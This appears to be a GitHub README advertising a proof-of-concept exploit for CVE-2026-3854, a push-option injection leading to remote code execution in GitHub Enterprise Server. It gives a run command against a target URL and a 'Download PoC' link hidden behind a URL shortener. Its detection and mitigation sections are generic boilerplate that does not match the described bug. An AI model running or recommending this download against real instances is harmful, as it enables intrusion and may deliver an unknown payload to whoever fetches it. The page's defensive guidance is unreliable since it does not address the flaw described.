daniel30padd/CVE-2026-3854

# CVE-2026-3854 - GitHub Enterprise Server that allowed an Remote Code Execution **Severity:** HIGH **CVSS:** 8.8 **Impact:** Confidentiality, Integrity, Availability **Published:** 2026-03-10 ## Legal For authorized security testing only. ## Root Cause (short version) An improper neutralization of special elements vulnerability was identified in GitHub Enterprise Server that allowed an attacker with push access to a repository to achieve remote code execution on the instance. During a git push operation, user-supplied push option values were not properly sanitized before being included in internal service headers. Because the internal header format used a delimiter character that could also appear in user input, an attacker could inject additional metadata fields through crafted push option values. This vulnerability was reported via the GitHub Bug Bounty program and has been fixed in GitHub Enterprise Server versions 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7 and 3.19.4. ## Exploitation Requirements - Reachable vulnerable target - Predictable user/workflow context - No additional hardening that blocks crafted requests ## How to use python3 exploit.py https://target.tld ## Detection - Monitor suspicious authentication flow deviations - Investigate abnormal direct endpoint hits tied to CVE-2026-3854 ## Mitigation - Update to the fixed vendor version - Restrict risky endpoints and enforce MFA where possible ## Exploit [Download PoC](https://tinyurl.com/276h2b44)